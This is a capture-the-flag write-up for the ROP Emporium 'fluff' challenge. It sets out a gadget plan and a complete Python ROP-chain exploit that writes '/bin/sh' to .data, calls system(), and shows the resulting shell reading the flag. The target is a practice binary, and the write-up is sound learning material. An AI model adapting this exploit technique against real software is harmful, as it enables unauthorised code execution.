The concept here is identical to the write4 challenge. The only difference is we may struggle to find gadgets that will get the job done. If we take the time to consider a different approach we’ll succeed.
The binary and challenge description can be found here:
https://ropemporium.com/challenge/fluff.html
Like the description says, not much here is different from the write4 challenge aside from the more abstract gadgets. It should be easy enough to find the gadgets to use:
This provides us with 4 gadgets. After examining the gadgets here, I open a text editor & start working out my plan of attack. I’ll illustrate the ROP chain I plan to use:
1. 0x400832: pop r12; mov r13d, 0x604060; ret; Get a value into R12 (this will eventually go into R10) address1: Where to save the string to 2. 0x400822: xor r11, r11; pop r14; mov edi, 0x601050; ret; Zero out the R11 register junkdata: Junk data for the "pop r14" instruction 3. 0x40082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret; Get a value into R11 (Since R11 is null, whatever is saved in R12 will be put into R11) string: The string we want to save will be popped into R12 4. 0x400840: xchg r11, r10; pop r15; mov r11d, 0x602050; ret; Get the value from R11 into the R10 register junkdata: Junk data for the "pop r15" instruction 5. Repeat steps 2-3 to get the string into r11 6. 0x40084e: mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; Write the value in R11 to the address in R10 junkdata: Junk data for the "pop r13" instruction nulldata: Null bytes for the "pop r12" instruction. The next instruction will XOR this with [r10] 7. 0x4005e0: call system()
One thing to note is that the address of the .data
section (where the string will be saved to) is moved into the EDI register at step 2. This means that there’s no need for a "pop rdi; ret"
instruction. Now it’s a simple process to create the Python script:
#!/usr/bin/env python3 import sys payload = b"A" * 40 payload += (0x400832).to_bytes(8, "little") # pop r12; mov r13d, 0x604060; ret; payload += (0x601050).to_bytes(8, "little") # Where to save the string to (.data) payload += (0x400822).to_bytes(8, "little") # xor r11, r11; pop r14; mov edi, 0x601050; ret; # NOTE: This gadget puts .data address into EDI for us payload += b"AAAAAAAA" # Junk data for the "pop r14" instruction payload += (0x40082f).to_bytes(8, "little") # xor r11, r12; pop r12; mov r13d, 0x604060; ret; payload += b"/bin/sh\x00" # The string to be popped into R12 payload += (0x400840).to_bytes(8, "little") # xchg r11, r10; pop r15; mov r11d, 0x602050; ret; payload += b"AAAAAAAA" # Junk data for the "pop r15" instruction payload += (0x400822).to_bytes(8, "little") # xor r11, r11; pop r14; mov edi, 0x601050; ret; payload += b"AAAAAAAA" # Junk data for the "pop r14" instruction payload += (0x40082f).to_bytes(8, "little") # xor r11, r12; pop r12; mov r13d, 0x604060; ret; payload += b"AAAAAAAA" # Junk data for the "pop r12" instruction payload += (0x40084e).to_bytes(8, "little") # mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; payload += b"AAAAAAAA" # Junk data for the "pop r13" instruction payload += b"\x00" * 8 # Null bytes for the "pop r12" instruction # NOTE: The next instruction will XOR this with [r10] payload += (0x4005e0).to_bytes(8, "little") # call system() sys.stdout.buffer.write(payload)
andrew ~/fluff $ (./exploit.py; echo; cat) | ./fluff fluff by ROP Emporium 64bits You know changing these strings means I have to rewrite my solutions... > id uid=1000(andrew) gid=1000(andrew) groups=1000(andrew),1001(sudo) cat flag.txt ROPE{a_placeholder_32byte_flag!}